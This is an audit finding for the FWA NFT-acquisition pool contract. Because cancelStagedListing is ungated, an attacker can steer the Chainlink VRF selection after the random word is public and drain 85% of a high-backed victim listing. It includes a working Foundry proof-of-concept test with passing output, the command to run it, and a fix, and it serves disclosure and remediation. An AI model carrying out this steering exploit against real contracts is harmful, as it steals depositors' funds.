Findings
VRF selection steering
[HIGH] Word-informed VRF selection steering via ungated cancelStagedListing
Same word, attacker picks the winner
The VRF callback force-drains matured staged listings into the selection pool before it draws target = word % totalWeight, yet cancelStagedListing has no exit gate. After the random word is public, an attacker cancels a chosen subset of their matured staged listings to set totalWeight, deterministically steering which listing the "random" draw selects, including a specific high-backed target they then drain.
FWA runs a randomized NFT-acquisition pool. Depositors list an ERC721 plus ETH backing, and each listing gets a selection weight that is inverse to its backing (weight = INVERSE_WEIGHT_NUMERATOR / value, i.e. 1e36 / value, at src/FWA.sol:933). A purchaser pays a fee and fires a Chainlink VRF request; when the random word arrives, the callback picks one weighted-random active listing via target = randomWords[0] % totalWeight (src/FWA.sol:1679) and _selectSlot(target) (src/FWA.sol:1681). Because backing is inverse-weighted, a high-backed listing occupies a tiny selection band and is almost never chosen honestly. That is the point of the mechanism.
The whole scheme depends on one invariant: no honored callback may observe a pool change made after its random word became knowable. The contract enforces this for active listings: withdrawListing and updateBacking both call _requireExitUnlocked() (src/FWA.sol:1169), which reverts while any acquisition is pending inside the callback-delay window. So an attacker cannot see the word and then re-shape totalWeight by pulling active weight.
The bug is that cancelStagedListing (src/FWA.sol:1013) has no such gate. It checks only status == Staged and depositor == msg.sender. The design comment above it (src/FWA.sol:1009-1012) asserts that "a staged listing is not in the selection tree, so cancelling it can never steer an acquisition." That reasoning is wrong: the callback itself force-drains matured staged listings into the selection pool before it draws target:
- Deposits made while an acquisition is pending are parked in a FIFO staging queue and only become "matured" after
activationDelayBlocks(default 10). - The callback runs
_drainStaging(maxActivationsPerCallback)(src/FWA.sol:1637) first, activating every block-matured staged listing into the pool, and only then computestarget = randomWords[0] % totalWeight. - A matured staged listing keeps
status == Stagedright up until the callback actually activates it. In the window between the word becoming public and the callback landing, its owner can stillcancelStagedListingany subset of them. - Cancelling a subset changes how many matured listings the drain will add, which changes
totalWeight, which changestarget % totalWeight, and therefore which listing the "random" draw selects.
The attacker stages a set of toggle listings, waits for the word, then cancels a searched subset so that target lands precisely in the high-backed target's slot-1 band [0, weight(H)). The callback's slippage guard (src/FWA.sol:1663-1671) does not help: it bounds only fee drift, and because every listing contributes exactly 1e36 to weightedBackingTotal, toggles sized near the pool's harmonic-mean EV move the fee by well under the default 5% while still re-mapping the modulo.
Impact
The core anti-steering / unbiased-selection invariant is broken. After seeing the public VRF word, an attacker can deterministically choose which listing the "random" acquisition lands on, including a specific high-backed listing that honest randomness would essentially never select. Having steered the draw onto that listing, the attacker calls acceptDepositorBid and receives settlementDiscountBps (85%, src/FWA.sol:352) of the victim's backing for a trivial acquisition fee, a direct theft from that depositor.
The PoC demonstrates a 100 ETH target listing: the attacker extracts 85 ETH (85000000000000000000 wei) for a ~1.15 ETH acquisition fee (1154422788605697151 wei). Across 400 independent words, an honest draw hit the target 0 times; the attacker could force it 7 times using a slippage-passing keep-subset (280 distinct passing configs exist per draw). Since each acquisition is cheap and retryable, a short campaign lands the target with certainty.
Affected code
The staged-listing cancel path has no exit gate, unlike every active-listing exit:
// src/FWA.sol:1009 — cancelStagedListing: NO exit gate
/// @notice ... Always available — a staged listing is not in the selection tree, so
/// cancelling it can never steer an acquisition. ... <-- FALSE for matured entries
function cancelStagedListing(uint256 listingId) external nonReentrant {
Listing storage listing = listings[listingId];
if (listing.status != ListingStatus.Staged) revert ListingNotStaged();
if (listing.depositor != msg.sender) revert NotDepositor();
// ... no _requireExitUnlocked(), no maturity check: cancels a matured-staged listing
// freely while an honorable VRF word could still land in the callback.
// src/FWA.sol:1169 — the exit gate that guards active-listing exits (but NOT staged cancels)
function _requireExitUnlocked() internal view {
if (pendingAcquisitionCount != 0 && block.number <= lastSelectionBlock + maxCallbackDelayBlocks) {
revert WithdrawLocked();
}
}
// src/FWA.sol:1185 — withdrawListing DOES gate; cancelStagedListing does not
function withdrawListing(uint256 listingId) external nonReentrant {
_requireExitUnlocked(); // <-- the protection cancelStagedListing lacks
Listing storage listing = _activeOwned(listingId);
The callback force-drains matured staged listings into the pool and then draws target, so a matured staged listing that the attacker cancels post-word directly alters the selection:
// src/FWA.sol:1637 — force-drain matured staged listings, THEN select
if (!_drainStaging(maxActivationsPerCallback)) { // activates matured Staged -> Active FIRST
uint256 refundBacklog = _refundAcquisition(acquisition);
emit AcquisitionRefundedBacklog(requestId, acquisition.purchaser, refundBacklog);
return;
}
// ... empty-pool and slippage checks ...
uint256 target = randomWords[0] % totalWeight; // src/FWA.sol:1679 — target depends on how many
uint256 slot = _selectSlot(target); // matured staged listings survived to be drained
uint256 listingId = slotToListing[slot];
Proof of concept
test/ExploitH01SelectionSteering.t.sol (published as a gist) runs entirely under the default selectionSlippageBps (5%). It stages the high-backed target H first (so H owns tree slot 1, band [0, weight(H))), primes the staging queue with a never-fulfilled sockpuppet acquire, stages P filler listings plus NC toggle listings, matures them, then fires the real acquisition (its pre-drain eats the fillers; the toggles stay Staged). It then reads the now-public word, searches for a keep-subset that both passes the on-chain slippage predicate and lands word % totalWeight in H's band, and proves the same word yields a low-value listing when all toggles are cancelled but the 100 ETH target when the crafted subset is kept; acceptDepositorBid then cashes out 85% of H's backing.
// 1. Honest pool. Target H is deposited FIRST -> tree slot 1 -> selection band [0, weight(H)).
idH = _deposit(victimH, H_BACKING); // 100 ETH backing
for (uint256 i = 0; i < N_VICTIMS; i++) _deposit(/* ... */, 1 ether);
// 2. Prime staging with a never-fulfilled sockpuppet acquire so later deposits STAGE.
vm.prank(carrier); pool.acquire{value: carrierCost}(0, 0);
// 3. Stage P fillers (eaten by acquire's pre-drain) + NC survivor toggles.
for (uint256 i = 0; i < P; i++) _deposit(attacker, 1 ether);
for (uint256 i = 0; i < NC; i++) survivorIds.push(_deposit(attacker, CAND_VALUES[i]));
// 4. Mature everything past activationDelayBlocks; then fire the REAL acquisition.
vm.roll(block.number + pool.activationDelayBlocks() + 1);
vm.prank(attacker);
uint256 reqId = pool.acquire{value: cost}(0, 0); // NC survivors stay Staged
// 5. Word is public. Find a keep-subset (<=P, passing the 5% callback slippage guard)
// that lands this fixed word in H's slot-1 band.
(uint256 word, uint256 keepMask) = _findSteerableWord(baseW, wbtBase, escrowed, wH);
assertGe(word % baseW, wH, "chosen word does not default to H");
// 6a. Cancel ALL survivors -> SAME word selects a low-value listing.
uint256 snap = vm.snapshotState();
_cancel(_cancelSet(keepMask, false));
coord.fulfill(address(pool), reqId, word);
(uint256 wonDefault,) = _won(reqId);
assertTrue(wonDefault != idH, "keep-none does NOT win the target");
vm.revertToState(snap);
// 6b. Keep the crafted subset -> SAME word now selects the 100-ETH target H.
_cancel(_cancelSet(keepMask, true));
coord.fulfill(address(pool), reqId, word);
(uint256 wonSteered, FWA.AcquisitionStatus stS) = _won(reqId);
assertEq(uint256(stS), uint256(FWA.AcquisitionStatus.Fulfilled), "steered path fulfilled (slippage passed)");
assertEq(wonSteered, idH, "STEERED: same word now wins the 100-ETH target under the default 5% guard");
// 7. Cash out: accept H's standing bid -> 85% of backing for the tiny acquisition fee.
vm.prank(attacker); pool.acceptDepositorBid(idH);
assertEq(received, H_BACKING * pool.settlementDiscountBps() / BPS, "85% of the target's backing");
assertLt(feePaid, 2 ether, "...for a sub-2-ETH acquisition fee");
Ran 2 tests for test/ExploitH01SelectionSteering.t.sol:ExploitH01SelectionSteering
[PASS] test_H01_attacker_deterministically_steers_to_high_value_target_under_default_slippage()
Logs:
Same VRF word, two attacker choices (default 5% slippage):
cancel-all -> listing 19 (backing 1000000000000000000 wei)
keep-subset -> listing 1 (backing 100000000000000000000 wei) = TARGET
PROFIT: attacker received 85000000000000000000 wei for a 1154422788605697151 wei fee.
[PASS] test_H01_steering_rate_dwarfs_honest_rate()
Logs:
Slippage-passing steer configs: 280
Over 400 words: honest H-rate = 0, attacker H-forcing rate = 7
Suite result: ok. 2 passed; 0 failed; 0 skipped
Add the test file to a Foundry project's test/ directory and run:
forge test --match-path "test/ExploitH01SelectionSteering.t.sol" -vv
Recommended solution
Gate cancels of matured staged listings behind the same exit lock as active exits. In cancelStagedListing, when the listing is block-matured (block.number >= listingStagedAtBlock[listingId] + activationDelayBlocks), call _requireExitUnlocked() before proceeding. A matured staged listing is exactly one that the callback's force-drain will pull into the selection pool, so it must not be toggleable while an honorable word could still land. Immature staged listings are not eligible for the drain, so they can remain instantly cancellable, preserving the escape hatch that keeps a fresh staged deposit from locking during pending acquisitions or emergency withdraw-only mode:
function cancelStagedListing(uint256 listingId) external nonReentrant {
Listing storage listing = listings[listingId];
if (listing.status != ListingStatus.Staged) revert ListingNotStaged();
if (listing.depositor != msg.sender) revert NotDepositor();
// A matured staged listing is drained into the selection pool by the callback, so cancelling it
// post-word steers the draw. Gate it exactly like an active-listing exit; immature entries stay
// instantly cancellable (the escape hatch).
if (block.number >= listingStagedAtBlock[listingId] + activationDelayBlocks) {
_requireExitUnlocked();
}
// ... unchanged ...
}
As an alternative, remove the drain-from-callback coupling entirely: do not _drainStaging inside fulfillRandomWords, and instead refund the acquisition whenever any matured staged entry exists at callback time (relying solely on the permissionless, prefix-only activateListings to advance the queue), so the callback never activates listings whose cancellability the attacker still controls.
Either way, add a regression test that stages a listing whose maturity falls inside the request-to-callback window [requestBlock + activationDelayBlocks, requestBlock + maxCallbackDelayBlocks] and asserts that a word-conditioned cancelStagedListing on it reverts with WithdrawLocked.